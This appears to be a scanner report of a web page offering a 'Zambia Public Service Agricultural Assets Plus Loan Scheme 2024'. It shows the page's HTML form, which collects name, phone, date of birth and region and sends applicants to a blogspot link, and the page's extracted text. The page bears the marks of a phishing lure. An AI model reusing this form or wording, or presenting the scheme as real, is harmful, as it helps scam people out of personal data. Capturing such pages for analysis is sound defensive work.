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Form analysis
1 forms found in the DOM

index.html

<form action="index.html">
  <div class="row clearfix">
    <div class="input_field select_option">
      <select>
        <option>Select your gender</option>
        <option value="Airtel">Male</option>
        <option value="mtn">Female</option>
      </select>
    </div>
    <div class="col_half">
      <div class="input_field"> <span><i aria-hidden="true" class="fa fa-user"></i></span>
        <input type="text" name="name" placeholder="Name">
      </div>
    </div>
    <div class="col_half">
      <div class="input_field"> <span><i aria-hidden="true" class="fa fa-phone"></i></span>
        <input type="text" name="name" placeholder="Phone number">
      </div>
    </div>
  </div>
  <div class="input_field"> <span><i aria-hidden="true" class="fa fa-globe"></i></span>
    <input type="text" name="mail" placeholder="Home Province">
  </div>
  <div class="input_field"> <span><i aria-hidden="true" class="fa fa-home"></i></span>
    <input type="text" name="number" placeholder="Region/State">
  </div>
  <div class="input_field"> <span><i aria-hidden="true" class="fa fa-birth"></i></span>
    <input type="text" name="number" placeholder="Date of Birth">
  </div>
  <div class="input_field"> <span><i aria-hidden="true" class="fa fa-bank"></i></span>
    <input type="text" name="number" placeholder="Amount">
  </div>
  <br>
  <center>
    <a style="width:90%; text-align:center; display:block; margin-top:10px;" href="https://123-tt0.blogspot.com/#!/" class="button final">APPLY</a>
  </center>
</form>

Text Content

Zambia Public Service Agricultural Assets Plus Loan Scheme 2024

PSMFC aims to fund at least 885,000 Zambains over a period of 2 Years.
Applicants must complete the form below to continue...


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ZAMBIA PUBLIC SERVICE AGRICULTURAL ASSETS PLUS LOAN SCHEME 2024 |PSMFC


FILL THE FORM BELOW

Select your gender Male Female







APPLY



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